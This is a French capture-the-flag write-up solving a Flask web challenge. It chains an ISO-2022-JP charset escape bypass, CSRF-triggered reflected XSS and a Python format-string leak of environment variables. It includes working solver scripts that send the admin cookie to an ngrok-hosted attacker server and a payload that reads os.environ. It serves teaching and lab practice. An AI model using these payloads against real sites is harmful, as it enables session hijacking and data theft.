Énoncé #
Just printing your name, what could go wrong?
Author: Fayred
Aperçu #
.
├── app.py
├── bot.py
├── docker-compose.yml
├── Dockerfile
├── requirements.txt
├── static
│ └── images
│ └── cat.jpg
└── templates
├── admin.html
├── index.html
└── your-name.html
4 directories, 9 files
Comme on peut le voir, très peu de fichiers sont présents pour ce challenge. Celui-ci ne contient pas grand-chose: une page avec un champ censé contenir un prénom reflété dans un modal et une route /admin
restreinte.
D’après le code source, pour valider le challenge, il va falloir leak la variable d’environnement $FLAG.
docker-compose.yml:
services:
saymyname:
build: .
image: saymyname:latest
ports:
- "5000:5000"
environment:
- FLAG=PWNME{FAKE_FLAG}
Résolution #
Pour résoudre le challenge, il va falloir exploiter un problème lié à la non précision du charset, dans la réponse du serveur sur l’une des routes. Grâce à cela, il sera possible d’injecter du code JavaScript dans la page et de leaker le cookie de l’admin. Pour finir, sur la route /admin
, via une format string vulnérable, il est possible de leaker les variables d’environnement, dont le flag.
Analyse du code #
Avant de trouver comment solutionner le challenge, il faut d’abord comprendre le code source.
app.py:
from flask import Flask, render_template, request, Response, redirect, url_for
from bot import visit_report
from secrets import token_hex
X_Admin_Token = token_hex(16)
def run_cmd(): # I will do that later
pass
def sanitize_input(input_string):
input_string = input_string.replace('<', '')
input_string = input_string.replace('>', '')
input_string = input_string.replace('\'', '')
input_string = input_string.replace('&', '')
input_string = input_string.replace('"', '\\"')
input_string = input_string.replace(':', '')
return input_string
app = Flask(__name__)
@app.route('/admin', methods=['GET'])
def admin():
if request.cookies.get('X-Admin-Token') != X_Admin_Token:
return 'Access denied', 403
prompt = request.args.get('prompt')
return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/your-name', methods=['POST'])
def your_name():
if request.method == 'POST':
name = request.form.get('name')
return Response(render_template('your-name.html', name=sanitize_input(name)), content_type='text/html')
@app.route('/report', methods=['GET'])
def report():
url = request.args.get('url')
if url and (url.startswith('http://') or url.startswith('https://')):
print(f'Visit: {url} | X-Admin-Token: {X_Admin_Token}')
visit_report(url, X_Admin_Token)
return redirect(url_for('index'))
app.run(debug=False, host='0.0.0.0')
On voit dans le script qu’il existe 4 routes:
- /
- /admin
- /report
- /your-name
Elles sont toutes accessibles sauf /admin
. Une route sur /report
est présente, elle permet de reporter à l’admin une url, ce qui est typique des challenges avec des vulnérabilités client-side. Ensuite on voit que la route /your-name
prend un paramètre: name (via POST) qui est ensuite “sanitize” par une fonction custom et renvoyée dans la page. Cependant, c’est la seule route qui retourne un objet Response
. Surtout que le Content-Type y est spécifié à text/html
sans charset.
Intéressons-nous maintenant au fichier your-name.html:
<style>
.image-container {
position: relative;
width: 100%;
max-width: 600px;
text-align: center;
}
.image-container img {
width: 100%;
height: auto;
text-align: center;
}
.image-container .text {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
color: white;
font-size: 24px;
font-weight: bold;
text-shadow: 2px 2px 5px rgba(0, 0, 0, 0.7);
}
</style>
<div class="image-container">
<img src="{{ url_for('static', filename='images/cat.jpg') }}" alt="cat">
<a class="text" id="behindthename-redirect" href='https://www.behindthename.com/names/search.php?terms={{name}}' onfocus='document.location="https://www.behindthename.com/names/search.php?terms={{name|safe}}"'>Hello {{name}} !</a>
</div>
On voit que la valeur de name est reflétée dans la page deux fois. Une fois dans l’attribut href
et une fois dans onfocus
. Cependant, elles ne sont pas reflétées de la même manière. Une est indiquée comme “safe” tandis que l’autre non, celle utilisé dans onfocus
est la clé pour résoudre notre challenge. Par contre même si le filtre safe est utilisé, il n’est normalement pas possible de sortir des doubles quotes pour injecter du code javascript, puisque la fonction sanitize_input()
échappe les doubles quotes. A moins que le charset ne soit pas précisé dans la réponse…
Annuler l’échappement de la barre-oblique inversée #
Pour sortir des doubles quotes, il va falloir que le navigateur détecte l’encodage utilisé comme étant du ISO-2022-JP. Il est nécessaire d’utiliser cet encodage car celui-ci peux basculer entre 4 jeux de caractères: ASCII, JIS X 0201 1976, JIS X 0208 1978 et JIS X 0208 1983.
It starts in ASCII and includes the following escape sequences:
ESC ( B
to switch to ASCII (1 byte per character)ESC ( J
to switch to JIS X 0201-1976 (ISO/IEC 646:JP) Roman set (1 byte per character)ESC $ @
to switch to JIS X 0208-1978 (2 bytes per character)ESC $ B
to switch to JIS X 0208-1983 (2 bytes per character)
Cette fonctionnalité de la norme ISO-2022-JP offre une grande flexibilité, mais peut également être utilisé pour annuler l’échappement effectué par l’antislash sur les quotes. Une seule occurrence de l’une de ces séquences d’échappement suffit généralement à convaincre l’algorithme d’auto-détection que le corps de la réponse HTTP est encodé avec la norme ISO-2022-JP.
Si un utilisateur utilise les octets: 0x1b
, 0x28
et 0x4a
, cela basculera de jeux de caractères sur JIS X 0201-1976. La norme JIS X 0201 1976 est principalement compatible ASCII. Cependant deux octets diffèrent entre la table ASCII et la table de codes JIS X 0201:
L’octet 0x5c
, correspond au caractère ¥
ici alors qu’en ASCII cela correspond à \
et l’octet 0x7e
, correspond au caractère ‾
ici alors qu’en ASCII cela correspond à ~
. Il est donc possible d’éviter l’échappement via \
grâce à la séquence d’échappement de JIS X 0201 1976. En effet si j’envoie ESC ( J
soit %1b%28%4a
suivi de "
alors \
sera traduit en ¥
, ce qui annulera l’échappement de la barre-oblique inversée.
En interceptant la requête en POST vers /your-name
, en modifiant le paramètre name
pour %1b%28%4a"payload
et en affichant la réponse dans Firefox (celui utilisé par bot.py), on obtient bien le résultat espéré.
Réponse:
<style>
.image-container {
position: relative;
width: 100%;
max-width: 600px;
text-align: center;
}
.image-container img {
width: 100%;
height: auto;
text-align: center;
}
.image-container .text {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
color: white;
font-size: 24px;
font-weight: bold;
text-shadow: 2px 2px 5px rgba(0, 0, 0, 0.7);
}
</style>
<div class="image-container">
<img src="/static/images/cat.jpg" alt="cat">
<a class="text" id="behindthename-redirect" href='https://www.behindthename.com/names/search.php?terms=¥"payload' onfocus='document.location="https://www.behindthename.com/names/search.php?terms=¥"payload"'>Hello ¥"payload !</a>
</div>
On voit ici qu’on a bien réussi à sortir des doubles quotes dans l’attribut onfocus
.
Bonus (unintended): Il était aussi possible d’annuler l’échappement sur les doubles quotes simplement avec
\"
.
Cross-site request forgery #
On sait maintenant qu’il est possible d’injecter du code javascript dans la page. Cependant le paramètre name
qui est reflété dans la page doit être envoyé en POST. Sachant qu’aucune protection n’est présente contre les CSRF et que name
est envoyé via application/x-www-form-urlencoded
, il est possible de CSRF pour trigger notre RXSS en POST.
Pour générer notre payload on peut utiliser burpsuite qui nous le génère, sans oublier de rajouter #behindthename-redirect
à la fin de l’attribut action
:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:5000/your-name#behindthename-redirect" method="POST">
<input type="hidden" name="name" value="(J";alert(0);" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Si on teste la CSRF dans notre navigateur, on a bien notre RXSS de trigger avec notre alert(0)
:
Cependant la redirection pose un problème. En effet si l’on veut effectuer plus qu’une simple “alert”, il va falloir obtenir une redirection plus lente ou l’annuler.
Leak du cookie admin via Cross-Site Scripting #
Maintenant qu’on sait comment trigger notre RXSS, il va falloir leak le cookie de l’admin. Pour ça il va falloir utiliser String.fromCharCode
, pour faire passer les caractères bloqués par sanitizer_bypass
. Il faudra aussi modifier la redirection, pour ça on peut utiliser le petit tricks [0]='#'
qui va remplacer l’url de redirection par #
, cela évitera de recharger la page et donc exécuter notre RXSS.
Ensuite il suffira simplement de récupérer le cookie et l’envoyer sur notre serveur. En scriptant un peu toute les étapes jusqu’à maintenant on obtient ce genre de script:
# pip install requests flask ngrok
# export NGROK_AUTHTOKEN=xxx
# curl http://localhost:1337/exploit
from flask import Flask, request
import ngrok
import base64
import requests
import time
listener = ngrok.forward(1337, authtoken_from_env=True)
NGROK_HOST = listener.url()
CHALLENGE_HOST = 'http://localhost:5000/'
def sanitizer_bypass():
url = NGROK_HOST + '/recv-cookie?r='
# change redirect to /wait to trigger XSS
payload = f"\x1b\x28\x4a\"[0]=String.fromCharCode({ord('#')});fetch(String.fromCharCode({','.join(str(ord(c)) for c in url)})+btoa(document.cookie));//"
return payload
def html_entities(value):
payload = "".join(f"&#{ord(c)};" if not c.isalnum() else c for c in value)
return payload
def craft_csrf(payload):
return f"""
<html>
<body>
<form action="http://127.0.0.1:5000/your-name#behindthename-redirect" method="POST">
<input type="hidden" name="name" value="{payload}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
"""
payload1 = sanitizer_bypass()
payload2 = html_entities(payload1)
csrf_payload = craft_csrf(payload2)
app = Flask(__name__)
@app.route('/exploit')
def exploit():
requests.get(f'{CHALLENGE_HOST}/report?url={NGROK_HOST}/csrf')
return 'exploit'
@app.route('/csrf')
def csrf():
return csrf_payload
@app.route('/recv-cookie')
def recv_cookie():
cookie = base64.b64decode(request.args.get('r')).decode()
print(f'[+] Cookie: {cookie}')
return ''
app.run(host='0.0.0.0', port=1337)
Il suffit de lancer le programme et visiter la route /exploit
pour lancer l’attaque. Sur notre Flask on reçoit bien le cookie de l’admin:
$ python solver2.py
* Serving Flask app 'solver2'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:1337
* Running on http://192.168.1.38:1337
Press CTRL+C to quit
127.0.0.1 - - [28/Feb/2025 19:41:43] "GET /csrf HTTP/1.1" 200 -
[+] Cookie: X-Admin-Token=ca92c81597f1956c580ecae73324591a
127.0.0.1 - - [28/Feb/2025 19:41:43] "GET /recv-cookie?r=WC1BZG1pbi1Ub2tlbj1jYTkyYzgxNTk3ZjE5NTZjNTgwZWNhZTczMzI0NTkxYQ== HTTP/1.1" 200 -
127.0.0.1 - - [28/Feb/2025 19:41:44] "GET /exploit HTTP/1.1" 200 -
On a bien accès à la page /admin
avec le cookie leak:
$ curl http://localhost:5000/admin -H "Cookie: X-Admin-Token=ca92c81597f1956c580ecae73324591a" -i
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.9.4
Date: Fri, 28 Feb 2025 18:47:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 218
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin</title>
</head>
<body>
prompt$/>None
</body>
Python format string vulnerabilities #
Pour leak le flag, il va falloir utiliser un bug concernant les formats string en python. En effet il est possible d’injecter des expressions lorsqu’une fstring est utilisée avec la méthode format sur la même chaîne de caractères.
C’est ce qu’il se passe sur la route /admin
:
@app.route('/admin', methods=['GET'])
def admin():
if request.cookies.get('X-Admin-Token') != X_Admin_Token:
return 'Access denied', 403
prompt = request.args.get('prompt')
return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))
On voit ici une fonction passée en paramètre, sur laquelle on va s’appuyer pour accéder à os.environ et leak la variable d’environnement FLAG. Pour cela on va passer par FLASK puisque celui-ci import os.
Ce qui nous donne ce payload:
{.__globals__[Flask].get.__globals__[os].environ[FLAG]}
Exploitation #
Exploit final:
# pip install requests flask ngrok
# export NGROK_AUTHTOKEN=xxx
# curl http://localhost:1337/exploit
# CSRF to RXSS to Format String Vuln
# RXSS (sanitizer bypass) -> https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/
from flask import Flask, request
import ngrok
import base64
import requests
import time
listener = ngrok.forward(1337, authtoken_from_env=True)
NGROK_HOST = listener.url()
CHALLENGE_HOST = 'http://localhost:5000/'
def sanitizer_bypass():
url = NGROK_HOST + '/recv-cookie?r='
# change redirect to /wait to trigger XSS
payload = f"\x1b\x28\x4a\"[0]=String.fromCharCode({ord('#')});fetch(String.fromCharCode({','.join(str(ord(c)) for c in url)})+btoa(document.cookie));//"
return payload
def html_entities(value):
payload = "".join(f"&#{ord(c)};" if not c.isalnum() else c for c in value)
return payload
def craft_csrf(payload):
return f"""
<html>
<body>
<form action="http://127.0.0.1:5000/your-name#behindthename-redirect" method="POST">
<input type="hidden" name="name" value="{payload}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
"""
payload1 = sanitizer_bypass()
payload2 = html_entities(payload1)
csrf_payload = craft_csrf(payload2)
app = Flask(__name__)
@app.route('/exploit')
def exploit():
requests.get(f'{CHALLENGE_HOST}/report?url={NGROK_HOST}/csrf')
return 'exploit'
@app.route('/csrf')
def csrf():
return csrf_payload
@app.route('/recv-cookie')
def recv_cookie():
cookie = base64.b64decode(request.args.get('r')).decode()
print(f'[+] Cookie: {cookie}')
format_string_payload = '{.__globals__[Flask].get.__globals__[os].environ[FLAG]}'
r = requests.get(f'{CHALLENGE_HOST}/admin?prompt={format_string_payload}', headers={'Cookie': cookie})
print(f'[+] Flag: {r.text}')
return 'Thanks for the flag ;-)'
app.run(host='0.0.0.0', port=1337)
Flag: PWNME{b492b312612c741b3b6597f925f88198}